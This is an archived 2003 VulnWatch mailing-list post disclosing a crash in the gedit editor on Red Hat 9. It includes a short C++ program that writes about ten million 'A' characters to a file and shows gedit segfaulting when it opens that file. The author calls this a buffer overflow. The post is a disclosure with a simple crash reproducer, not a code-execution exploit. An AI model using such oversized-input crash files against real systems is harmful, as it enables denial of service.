

[VulnWatch] simple bufferoverflow in gedit

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-11/0021.html>

From: MegaHz (megahz_at_megahz.org)

Date: 11/23/03

To: vulnwatch@vulnwatch.org

Date: 23 Nov 2003 16:38:22 +0200

Hello,

I discover a strange but simple buffer overflow in gedit.

I am using RH9,

to demonstrate the buffer here is a simple file buffer generator:

```
=====buffer.c == cut here=====
/*
   simple buffer overflow generator by MegaHz megahz@megahz.org
*/
#include <iostream>
using namespace std;

int main()
{
  int i;
  for (i=0;i<=9999999;i++)
  {
    cout << "A";
  }
  return 0;
}

=====

# g++ -o buffer buffer.c
# ./buffer > lala
# gedit lala
Segmentation fault
#
```

MegaHz (Andreas Constantinides)

www.megahz.org

www.cyhackportal.com